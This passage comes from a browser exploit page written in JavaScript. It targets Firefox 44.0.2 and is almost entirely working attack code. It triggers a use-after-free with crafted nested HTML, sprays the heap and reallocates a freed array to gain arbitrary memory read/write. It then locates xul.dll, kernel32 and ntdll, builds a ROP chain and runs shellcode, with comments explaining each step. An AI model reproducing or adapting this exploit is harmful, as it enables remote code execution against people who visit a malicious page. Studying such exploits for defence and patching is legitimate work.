* spray nodes  
*/  
let bruteforce = true;  
let addr = spray.getNextAddr(0);  
const href = window.location.href.split("?");  
if (href.length === 2) {  
const query = href[1].split("=");  
if (query[0] === "style") {  
bruteforce = false;  
}  
addr = parseInt(query[1]);  
}  
nodes = spray.nodes(addr, bruteforce);  
  
/*  
* spray node pointers and trigger the bug  
*/  
document.body.innerHTML = "<svg><img id='AAAA'>";  
const pointers = spray.pointers();  
document.getElementById("AAAA").innerHTML = "<title><template><td><tr><title><i></tr><style>td</style>";  
  
/*  
* on to the next run...  
*/  
if (bruteforce === true) {  
const style = spray.findStyleAddr(nodes);  
nodes = null;  
if (style) {  
window.location = href[0] + "?style=" + style;  
} else {  
window.location = href[0] + "?continue=" + spray.getNextAddr(addr);  
}  
return;  
}  
  
/*  
* reallocate the freed Uint32Array  
*/  
hijacked = spray.findArray(nodes, spray.arrays());  
  
/*  
* setup helpers  
*/  
const rwx = new ReadWriteExecute(spray.nodeBase, nodes, hijacked);  
  
/* The first 4 bytes of the previously leaked [xul!nsHtml5Atoms::style]  
* contain the address of xul!PermanentAtomImpl::`vftable'.  
*  
* Note that the subtracted offset is specific to firefox 44.0.2.  
* However, since we can read arbitrary memory by this point, the  
* base of xul could easily (albeit perhaps somewhat slowly) be  
* located by searching for a PE signature */  
const xulBase = rwx.readDWord(addr) - 0x1c1f834;  
  
log("style found at 0x" + addr.toString(16));  
log("xul.dll found at 0x" + xulBase.toString(16));  
  
const xulPE = new PortableExecutable(xulBase, rwx);  
xulPE.read();  
const rop = new ROPHelper(xulPE, rwx);  
const kernel32 = new KERNEL32(rop, xulPE, rwx);  
const kernel32handle = kernel32.GetModuleHandleA("kernel32.dll");  
const kernel32PE = new PortableExecutable(kernel32handle, rwx);  
kernel32PE.read();  
const ntdll = new NTDLL(rop, kernel32PE, rwx);  
const icuuc55 = new ICUUC55(rop, xulPE, rwx);  
  
/*  
* execute shellcode  
*/  
const stack = ntdll.getStackLimit(kernel32.GetCurrentThread());  
const exec = icuuc55.alloc(stack, shellcode.length);  
const proc = xulPE.search("kernel32.dll", "GetProcAddress");  
rwx.writeString(exec, shellcode.join(""));  
rop.execute(exec, [kernel32handle, proc], true);  
};  
</script>  
</head>  
</html>  
  
`